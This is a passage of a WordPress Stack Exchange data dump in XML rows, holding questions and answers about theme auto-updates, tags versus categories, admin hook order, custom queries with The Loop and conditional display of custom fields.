  <row Id="16094" PostTypeId="2" ParentId="16093" CreationDate="2011-05-01T12:23:37.540" Score="2" ViewCount="" Body="&lt;p&gt;An interest question! In fact, I think you should make a service to check update! Such as yourdomain.comn/api/update-check! Then this can return XML or JSON or some useful information related to update such as version, the url of update file (updated file should be a zip file)!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your theme you can have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php define('OWN_THEME_VERSION', '1.1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, when you detected an update from above url(yourdomain.comn/api/update-check), assume it returns JSO data as following: &#xA;{&quot;version&quot;:&quot;1.2&quot;,&quot;file&quot;:&quot;theme.zip&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You compare version to check for new update! Then switch to default theme with this function &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/switch_theme&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/switch_theme&lt;/a&gt; (in order when users access the site, they see a worlking site)!&#xA;Next, your code can use curl or even file_get_contents to download zip file (theme.zip in this case)! &#xA;Next, you delete all file of in your theme folder, then extrat zip file and copy its content into theme folder!&#xA;I think this way it should work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to take a look on what WordPress did! I found it's in file wp-admin/includes/update-core.php, line 288, function update_core&lt;/p&gt;&#xA;" OwnerUserId="1969" LastEditorUserId="1969" LastEditorDisplayName="" LastEditDate="2011-05-01T12:44:08.293" LastActivityDate="2011-05-01T12:44:08.293" CommentCount="4" />
  <row Id="16095" PostTypeId="1" AcceptedAnswerId="16096" CreationDate="2011-05-01T10:10:21.130" Score="0" ViewCount="79" Body="&lt;p&gt;I noticed that huffingtonpost.com and some other websites are using tags instead of categories for blog structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example the last tag in &lt;a href=&quot;http://www.huffingtonpost.com/2011/04/29/apple-icloud_n_855649.html&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt; (like every post) is redirecting to &quot;technology news&quot; section of the menu. Is it OK to use tags instead of categories in the wordpress menu? what's the advantage of doing this with tags?&lt;/p&gt;&#xA;" OwnerUserId="5027" LastActivityDate="2011-05-01T15:41:49.650" Title="Using Tags Instead of Categories for site structure" Tags="&lt;html&gt;&lt;design&gt;" AnswerCount="2" />
  <row Id="16096" PostTypeId="2" ParentId="16095" CreationDate="2011-05-01T13:39:59.627" Score="1" ViewCount="" Body="&lt;p&gt;There is neither inherent advantage nor inherent disadvantage in using Tags versus Categories. Tags and categories are merely &lt;em&gt;taxonomies&lt;/em&gt;, which are used to describe content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tags and Categories don't actually provide site &quot;structure&quot;, though their index pages can be added to custom Nav Menus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The primary difference between Categories and Tags is that Categories can be hierarchical, whereas Tags cannot.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-01T13:39:59.627" />
  <row Id="16097" PostTypeId="1" CreationDate="2011-05-01T13:49:12.880" Score="0" ViewCount="161" Body="&lt;p&gt;Hopefully this question will make sense, and I will apologise now for my inexperience in WP and PHP, in case I am making a full-blown newbie error :o)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK... I am creating a WP plugin based around Custom Post Types (CPT), where you can dynamically specify a CPT, complete with any number of associated dynamic Meta Boxes and form elements such as radio buttons, textfields etc.., using the excellent Meta Box Script V3.1 from RilWis - &lt;a href=&quot;http://bit.ly/eTh3UA&quot; rel=&quot;nofollow&quot;&gt;http://bit.ly/eTh3UA&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue I am having is that I need to recover the post ID of a CPT &quot;post&quot; in WP-admin before I issue the add_action hook command to build the dynamic Meta Boxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that WP only starts allowing the recovery of the post ID (in admin) from the &quot;parse_query&quot; add_action hook command onwards in the firing sequence of WP. However the Meta Box script by Rilwis has a &quot;save_post&quot; add_action command (naturally), which only triggers up until the &quot;admin_init&quot; add_action hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means there is no overlap in the WP admin firing sequence to allow the postID to be recovered (to find the data required to build further CPT's dynamically) before the call to build them is needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short of abandoning Rilwis WP Meta Box class, and developing a Meta Box data save functionality of our own (or my lack of WP understanding), can anyone give me some thoughts on how I can recover the post ID earlier in the WP admin hook  firing sequence? Or conversely whether we can trigger an action to save the Meta Box post data later in the WP firing sequence?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or ideas would be most appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5024" LastActivityDate="2011-06-22T02:00:32.430" Title="How can I recover the post ID earlier in the WP admin hook action &quot;firing&quot; sequence?" Tags="&lt;custom-post-types&gt;&lt;metabox&gt;&lt;hooks&gt;&lt;add-action&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="16098" PostTypeId="2" ParentId="16097" CreationDate="2011-05-01T14:14:40.307" Score="0" ViewCount="" Body="&lt;p&gt;Not sure if it will be available during that hook, but I normally make the $post object global and get the post id from that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $post;&#xA;$this_post_id = $post-&amp;gt;ID;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$post is an object that the WordPress core uses to store the current post info.  You should be able to use that; thats actually what RilWis uses in his class.&lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-05-01T14:14:40.307" CommentCount="2" />
  <row Id="16099" PostTypeId="2" ParentId="16093" CreationDate="2011-05-01T14:30:34.733" Score="2" ViewCount="" Body="&lt;p&gt;You can also hook into the core update routine. (I'm looking for tutorial links, but my Google-fu is failing me this morning.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://w-shadow.com/blog/2010/09/02/automatic-updates-for-any-plugin/&quot; rel=&quot;nofollow&quot;&gt;See if this tutorial helps&lt;/a&gt;. It explains how to implement automatic upgrades for private/commercial (i.e. non-repository-hosted) Plugins.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-05-02T01:00:10.167" LastActivityDate="2011-05-02T01:00:10.167" CommentCount="3" />
  <row Id="16100" PostTypeId="2" ParentId="16079" CreationDate="2011-05-01T15:27:02.317" Score="0" ViewCount="" Body="&lt;p&gt;Not sure if this is just a typo, but your key variables are missing the &lt;code&gt;$&lt;/code&gt;. This should trigger a fatal error. Try doing a find and replace to replace &lt;code&gt;extra&lt;/code&gt; with &lt;code&gt;$extra&lt;/code&gt; and see if that does the trick. &lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-05-01T15:27:02.317" CommentCount="2" />
  <row Id="16101" PostTypeId="2" ParentId="16095" CreationDate="2011-05-01T15:41:49.650" Score="0" ViewCount="" Body="&lt;p&gt;I have always used categories to force structure on people making posts. I would create X number of categories and all content must be filed under one or more of those categories. As such, I could have a simple menu that is controlled by me to dictate the different categories that you can browse. Then, as a way of offering the contributors a way to determine their own organization, tags can be input by the contributor as they see fit. I do not dictate what tags can and cannot be present. By building a tag cloud or tag search, the content can thus also be structured by tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In sum, I use categories to force structure on contributors and tags to allow them to dictate structure.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-05-01T15:41:49.650" CommentCount="1" />
  <row Id="16102" PostTypeId="1" CreationDate="2011-05-01T16:11:35.213" Score="2" ViewCount="64" Body="&lt;p&gt;In buddypress when a user wants to delete their own account --&gt; is possible to delete all their attachments entries and images uploaded using media?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note:&#xA;Images are not attached to posts, because im not letting users create normal posts, they only can upload images using media.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastEditorUserId="2011" LastEditorDisplayName="" LastEditDate="2011-05-01T23:05:26.710" LastActivityDate="2011-05-01T23:05:26.710" Title="Delete all user attachments" Tags="&lt;buddypress&gt;" CommentCount="3" />
  <row Id="16103" PostTypeId="1" CreationDate="2011-05-01T16:38:14.877" Score="0" ViewCount="260" Body="&lt;p&gt;I am doing a rather complicated custom query on a blog's front page, and trying to show the results using The Loop as shown here: &lt;a href=&quot;http://codex.wordpress.org/Displaying_Posts_Using_a_Custom_Select_Query&quot; rel=&quot;nofollow&quot;&gt;Displaying posts using a custom SELECT query&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The query filters posts by a custom field that contains a date (show only posts where that field is set to today or later), and orders them by that date. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The query returns the correct posts, but if I turn them over to The Loop, the results are shown as if I were doing a regular query, not the specialized one (i.e. the wrong posts show up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The people in &lt;a href=&quot;http://wordpress.org/support/topic/setup_postdata-problem&quot; rel=&quot;nofollow&quot;&gt;this forum thread&lt;/a&gt; have the same problem; I utilized the $GLOBALS workaround shown there, but to no avail. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  global $post;&#xA;  global $wpdb;&#xA;&#xA; $querystr = &quot;SELECT wposts.* FROM $wpdb-&amp;gt;posts wposts ...... some conditions and joins&quot;;&#xA; $eventsPosts = $wpdb-&amp;gt;get_results($querystr, OBJECT);&#xA;&#xA; print_r($eventsPosts); // shows CORRECT data      &#xA;&#xA; if ($wpdb-&amp;gt;num_rows &amp;gt; 0)&#xA;  foreach ($eventsPosts as $post) &#xA;   {&#xA;&#xA;    /* workaround */&#xA;    $stored_post = clone $GLOBALS['post']; // Why, Wordpress, why?&#xA;    $GLOBALS['post'] = $post;              // Why are you making me do such terrible things?&#xA;&#xA;    setup_postdata($post);&#xA;    the_post();&#xA;    the_title(); // shows INCORRECT post&#xA;&#xA;    /* workaround: Restore global */&#xA;    $GLOBALS['post'] = clone $stored_post;&#xA;&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;however, this output gives me the result as if I had done a  regular query, not my special one. Ie, &lt;code&gt;the_title()&lt;/code&gt; outputs the title of a post that isn't in the query result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I test output the custom query result: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print_r($eventsPosts);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the &lt;em&gt;correct&lt;/em&gt; posts. Only when I use Loop functions, the wrong results are output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a canonical, correct way of doing this that works?  &lt;/p&gt;&#xA;" OwnerUserId="2161" LastEditorUserId="2161" LastEditorDisplayName="" LastEditDate="2011-05-01T17:21:57.537" LastActivityDate="2011-05-01T17:27:50.387" Title="How to get The Loop working with $wpdb-&gt;get_results()" Tags="&lt;loop&gt;&lt;get-posts&gt;" AnswerCount="1" />
  <row Id="16104" PostTypeId="1" CreationDate="2011-05-01T00:05:57.610" Score="0" ViewCount="102" Body="&lt;p&gt;I'm a software developer and I've started my first blog on Information Technology.&#xA;Since I'm using wordpress (hosted free plan) as blogging platform, I'm wondering if there's a fast and useful way for styling code snippet in my posts.&lt;/p&gt;&#xA;" LastEditorUserId="127" LastEditorDisplayName="" LastEditDate="2011-05-02T01:31:15.753" LastActivityDate="2011-05-02T01:31:15.753" Title="Tools for styling code snippet in a web page" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;syntax-highlighting&gt;" AnswerCount="4" CommentCount="2" />
  <row Id="16105" PostTypeId="2" ParentId="16104" CreationDate="2011-05-01T01:26:30.757" Score="1" ViewCount="" Body="&lt;p&gt;Wrap the code in the &amp;lt;code&amp;gt; or &amp;lt;pre&amp;gt; tags, depending on whether it's an inline snippet or a block of code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, search the web for &quot;wordpress syntax highlighter,&quot; which will tell you about several wordpress plugins that can color and style code elements for various programming languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, the Wordpress StackExchange site will probably have some great answers for you: &lt;a href=&quot;http://wordpress.stackexchange.com/&quot;&gt;http://wordpress.stackexchange.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1816" LastActivityDate="2011-05-01T01:26:30.757" CommentCount="1" />
  <row Id="16106" PostTypeId="2" ParentId="16104" CreationDate="2011-05-01T12:17:20.497" Score="0" ViewCount="" Body="&lt;p&gt;I use Wordpress, and I use &lt;a href=&quot;http://www.viper007bond.com/wordpress-plugins/syntaxhighlighter/&quot; rel=&quot;nofollow&quot;&gt;SyntaxHighlighter Evolved&lt;/a&gt; for formatting code on my blog. It's very simple to use, and has support for a wide variety of styling languages. It also has support for different colour schemes I believe (although I have not used it myself).&lt;/p&gt;&#xA;" LastActivityDate="2011-05-01T12:17:20.497" />
  <row Id="16107" PostTypeId="1" AcceptedAnswerId="16109" CreationDate="2011-05-01T17:03:14.620" Score="0" ViewCount="286" Body="&lt;p&gt;I would like to expand only the active part of the sidebar menu and hide the parts which have nothing to do with the actual selection. Just like how its done on every Explorer like file manager, or how it is with accordion menus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the default TwentyTen theme, this is the class definition for the active submenu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;menu-item menu-item-type-post_type menu-item-object-page current-menu-ancestor current-menu-parent current_page_parent current_page_ancestor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this is the one for a non-active submenu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;menu-item menu-item-type-post_type menu-item-object-page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I'm thinking about using something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;li .menu-item ul .sub-menu { display: none; }&#xA;li .current-menu-parent ul .sub-menu { display: inherit; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would something like this work? It must be a fairly common problem, but I have not found a single solution with Google.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To have an idea why it’s important to make the menu smaller, here is the site I'm working on where the menu is overly complicated:&#xA;&lt;a href=&quot;http://kek.org.hu/kozossegikertek&quot; rel=&quot;nofollow&quot;&gt;http://kek.org.hu/kozossegikertek&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5025" LastActivityDate="2011-05-01T22:43:16.737" Title="how to hide submenus for the not active pages" Tags="&lt;css&gt;&lt;html&gt;&lt;menus&gt;" AnswerCount="2" />
  <row Id="16108" PostTypeId="1" CreationDate="2011-05-01T17:15:46.397" Score="1" ViewCount="375" Body="&lt;p&gt;I am working on a creating a directory style page template that uses custom meta fields in Wordpress that are used to generate up to 10 directory listings on a page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The below code works very well for this purpose with one exception. If one of my directory pages only has 5 listings, the code is still displayed for listings 6-10 even if the values aren't present. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div class=&quot;listing&quot;&amp;gt; &#xA; &amp;lt;h3 class=&quot;listing-title&quot;&amp;gt;&amp;lt;?php $values = get_post_custom_values(&quot;listing_heading_10&quot;); &#xA; echo $values[0]; ?&amp;gt;&amp;lt;/h3&amp;gt; &#xA; &amp;lt;div class=&quot;listing-body&quot;&amp;gt;&#xA; &amp;lt;p&amp;gt;&amp;lt;?php $values = get_post_custom_values(&quot;listing_description_10&quot;); echo $values[0]; ?&amp;gt;  &amp;lt;/p&amp;gt; &#xA; &amp;lt;/div&amp;gt;&amp;lt;p class=&quot;listing-footer&quot;&amp;gt;&amp;lt;?php $values = get_post_custom_values(&quot;listing_url_10&quot;);    &#xA; echo $values[0]; ?&amp;gt;&amp;lt;/p&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I need to add so code is only displayed if the custom meta fields are populated for that instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words I am looking for a rule that says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If values are present then display&#xA;  full directory listing (i.e.&#xA;  listing_heading_10,&#xA;  listing_description_10 &amp;amp;&#xA;  listing_url_10)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If none of these values are present&#xA;  then display nothing&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any help or advice on this would be greatly appreciated. &lt;/p&gt;&#xA;" OwnerUserId="5026" LastActivityDate="2011-08-31T16:37:38.443" Title="Display custom field only if value present?" Tags="&lt;custom-field&gt;" AnswerCount="3" />
  <row Id="16109" PostTypeId="2" ParentId="16107" CreationDate="2011-05-01T17:20:17.800" Score="0" ViewCount="" Body="&lt;p&gt;I use just such a menu in my Oenology Theme. Feel free to use the sidebar menu CSS to suit your needs! Rather than try to post it all here, I'll just link to the &lt;a href=&quot;http://www.github.com/chipbennett/oenology&quot; rel=&quot;nofollow&quot;&gt;Oenology GitHub repository&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/chipbennett/oenology/blob/master/style.css#L1986&quot; rel=&quot;nofollow&quot;&gt;Here's where the sidebar navigation menu style definitions start&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-01T17:20:17.800" CommentCount="2" />
  <row Id="16110" PostTypeId="2" ParentId="16103" CreationDate="2011-05-01T17:27:50.387" Score="1" ViewCount="" Body="&lt;p&gt;Turns out I didn't follow the instructions in the manual to the letter: I seem to have declared &lt;code&gt;global $post&lt;/code&gt; too early. I don't entirely see through this but it works fine now using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$eventsPosts = $wpdb-&amp;gt;get_results($querystr, OBJECT);&#xA;&#xA;if ($eventsPosts)&#xA; {&#xA;   global $post;&#xA;   foreach ($eventsPosts as $post) &#xA;    { &#xA;     setup_postdata($post);&#xA;     the_title(); // or whatever - the loop functions work&#xA;    }  &#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2161" LastActivityDate="2011-05-01T17:27:50.387" />
  <row Id="16111" PostTypeId="2" ParentId="16108" CreationDate="2011-05-01T17:29:59.760" Score="0" ViewCount="" Body="&lt;p&gt;The easiest way would be to add a simple conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$values = get_post_custom_values(&quot;listing_heading_10&quot;);&#xA;&#xA;if ( $values ) { ?&amp;gt;&#xA;     &amp;lt;h3 class=&quot;listing-title&quot;&amp;gt;&amp;lt;?php echo $values[0]; ?&amp;gt;&amp;lt;/h3&amp;gt; &#xA;&amp;lt;?php }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That said, is there any reason that you can't put your output code in a &lt;code&gt;foreach&lt;/code&gt; loop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$values = get_post_custom_values( 'some_value' );&#xA;&#xA;foreach ( $values as $value ) {&#xA;     // echo output content here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It may be helpful to put your custom meta values into an array, to facilitate looping through them if they exist. So, instead of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$values = get_post_custom_values(&quot;listing_heading_10&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...you could have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$values get_post_custom_values( 'listing_heading' )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And instead of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$values&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...you could output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$values[10]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-01T17:29:59.760" CommentCount="1" />
  <row Id="16112" PostTypeId="1" CreationDate="2011-05-01T17:29:10.703" Score="0" ViewCount="139" Body="&lt;p&gt;I want to change a current site that already has a fairly robust database.  Before I do, I want to test a few different layouts to make a decision.  Instead of using the original site, I am thinking of changing the test site wp-config file to call the database from the original site.  Can I do this without &quot;damaging&quot; the original site?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My rationale is that since the original site has custom post types, it would be easier to be able to use that database, rather than try to recreate it.&lt;/p&gt;&#xA;" OwnerUserId="101" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-05-01T17:35:22.440" LastActivityDate="2011-05-01T22:30:32.160" Title="Can two domains use the same database?" Tags="&lt;database&gt;&lt;wp-config&gt;" AnswerCount="3" />
  <row Id="16113" PostTypeId="2" ParentId="15790" CreationDate="2011-05-01T17:36:28.290" Score="0" ViewCount="" Body="&lt;p&gt;I'm assuming that the line near the end&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_redirect( get_permalink(35) );//page that has form&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;is what is failing. I would change it to this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$redirect_link =  get_permalink(35) ; //page that has form&#xA;wp_redirect( $redirect_link );  // trigger redirect&#xA;exit;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that should cause it to function to work properly&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-05-01T17:36:28.290" CommentCount="4" />
  <row Id="16114" PostTypeId="2" ParentId="16112" CreationDate="2011-05-01T17:38:55.183" Score="1" ViewCount="" Body="&lt;p&gt;No, not in the manner that you're planning on doing it. Everything relating to the site (including the design, selected theme, etc) is stored in the database. By having a second site attach to it, any changes made there will be reflected on the main site.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-05-01T17:38:55.183" CommentCount="2" />
  <row Id="16115" PostTypeId="2" ParentId="16077" CreationDate="2011-05-01T17:47:29.080" Score="0" ViewCount="" Body="&lt;p&gt;You shouldn't have to do all that. The below function will allow you to control what shows up in the default loop without having to rebuild the query itself&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cpt_pre_get_posts_filter( $query ) {&#xA;  global $wp_query;&#xA;&#xA;  if ( !is_preview() &amp;amp;&amp;amp; !is_admin() &amp;amp;&amp;amp; !is_singular() &amp;amp;&amp;amp; !is_404() ) {&#xA;    if ($query-&amp;gt;is_feed) {&#xA;    /* set your post types in the array below */&#xA;    } else {&#xA;      $my_post_type = get_query_var( 'post_type' );&#xA;      if ( empty( $my_post_type ) )&#xA;        $query-&amp;gt;set( 'post_type' , 'my-post-type', 'my-other-post-type' );&#xA;    }&#xA;  }&#xA;&#xA;  return $query;&#xA;}&#xA;add_filter( 'pre_get_posts' , 'cpt_pre_get_posts_filter' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-05-01T17:47:29.080" CommentCount="1" />
  <row Id="16116" PostTypeId="2" ParentId="16068" CreationDate="2011-05-01T17:51:38.033" Score="1" ViewCount="" Body="&lt;p&gt;Is there an actual question here? Each organization method would (should) be based on the content it involves. i.e I have a site with 4 or 5 custom post types that separate content. One I use tags with no categories whatsoever. Still another uses a hierarchical category structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And since yours is private, there's no way of knowing if it's the &quot;best&quot;. But if it works for you, then not sure what else there is to say.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-05-01T17:51:38.033" />
  <row Id="16117" PostTypeId="2" ParentId="16038" CreationDate="2011-05-01T18:01:28.653" Score="0" ViewCount="" Body="&lt;p&gt;Most visual editors will attempt to format your code. If wrapping it in the &lt;code&gt;&amp;lt;code&amp;gt; &amp;lt;/code&amp;gt;&lt;/code&gt; tags doesn't work, attempt this plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/inline-javascript/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/inline-javascript/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-05-02T14:16:09.977" LastActivityDate="2011-05-02T14:16:09.977" CommentCount="1" />
  <row Id="16118" PostTypeId="2" ParentId="15997" CreationDate="2011-05-01T18:06:09.383" Score="1" ViewCount="" Body="&lt;p&gt;what have you set the &quot;has_archive&quot; option to in your CPT? Also, make sure to reset your permalinks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for putting a customized message, you can create an archive template specific to that CPT. If the CPT is &quot;portfolio&quot;, then you can create a template called &quot;archive-portfolio.php&quot; and customize it as you see fit.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-05-01T18:06:09.383" />
  <row Id="16119" PostTypeId="1" AcceptedAnswerId="16130" CreationDate="2011-05-01T18:14:55.933" Score="3" ViewCount="320" Body="&lt;p&gt;I want to sync post edits on two sites. Test environment, not production. Single direction (site A to site B, but not backwards).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I edit post at my local test stack and same post (part of test content set) at remote server should be updated with identical copy of resulting content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that XML-RPC server is implemented in WordPress... But WordPress itself is not a XML-RPC client and I have no idea how easy would it be to make it into one (I am usually wary of XML-anything :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So should I go with XML-RPC and implement client functionality or that is not worth the time and I should build custom form or something at remote server to catch changes?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-17T11:23:08.843" Title="WordPress as XML-RPC client?" Tags="&lt;xml-rpc&gt;&lt;sync&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="3" />
  <row Id="16121" PostTypeId="1" CreationDate="2011-05-01T18:35:33.927" Score="4" ViewCount="95" Body="&lt;p&gt;When I see a &quot;revision&quot; for a given post type, I only see the title, the content and the excerpt. How can I see the content of a custom meta box (or any other field, for that matter)?&lt;/p&gt;&#xA;" OwnerUserId="2201" LastActivityDate="2011-06-28T05:52:10.020" Title="Display content from custom meta boxes in revisions" Tags="&lt;custom-post-types&gt;&lt;metabox&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="16122" PostTypeId="1" CreationDate="2011-05-01T19:01:27.233" Score="1" ViewCount="108" Body="&lt;p&gt;I would like to show all posts but only exclude the NEWEST post from the 'Featured' category, other posts from this cat should display. Any idea what I should add to the loop to achieve this? I want all other posts from other cats to be displayed aswell!&lt;/p&gt;&#xA;" OwnerUserId="5032" LastActivityDate="2011-08-31T05:37:28.330" Title="Exclude newest post from category X but show rest" Tags="&lt;posts&gt;&lt;query-posts&gt;" AnswerCount="2" />
  <row Id="16123" PostTypeId="2" ParentId="16112" CreationDate="2011-05-01T19:31:53.997" Score="0" ViewCount="" Body="&lt;p&gt;You could just copy the DB using phpMyAdmin then point your test site to the new copy.&lt;/p&gt;&#xA;" OwnerUserId="1979" LastActivityDate="2011-05-01T19:31:53.997" CommentCount="1" />
  <row Id="16124" PostTypeId="2" ParentId="16108" CreationDate="2011-05-01T19:34:10.657" Score="0" ViewCount="" Body="&lt;p&gt;So I tried using your above recommendation regarding the conditional (see code below) but I am still having the issue where if the meta box is not populated the code is still visible in the source if the page has less than 10 listings. Am I doing something wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also like the idea around outputting code in the foreach loop and using an array, but I have to be honest I am unfortunately very new to programming and not exactly sure how to write that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again for your help, I really appreciate it. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div class=&quot;listing&quot;&amp;gt; &#xA;&#xA; &amp;lt;?php $values = get_post_custom_values(&quot;listing_heading_10&quot;); &#xA; if ( $values ); ?&amp;gt;&#xA; &amp;lt;h3 class=&quot;listing-title&quot;&amp;gt;&amp;lt;?php echo $values[0]; ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&#xA;&#xA; &amp;lt;?php $values = get_post_custom_values(&quot;listing_description_10&quot;); &#xA; if ( $values ); ?&amp;gt;&#xA; &amp;lt;div class=&quot;listing-body&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;?php echo $values[0]; ?&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA; &amp;lt;?php $values = get_post_custom_values(&quot;listing_url_10&quot;);&#xA; if ( $values ); ?&amp;gt;&#xA; &amp;lt;p class=&quot;listing-footer&quot;&amp;gt;&amp;lt;?php echo $values[0]; ?&amp;gt;&#xA; &amp;lt;/p&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA; &amp;lt;?php } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5033" 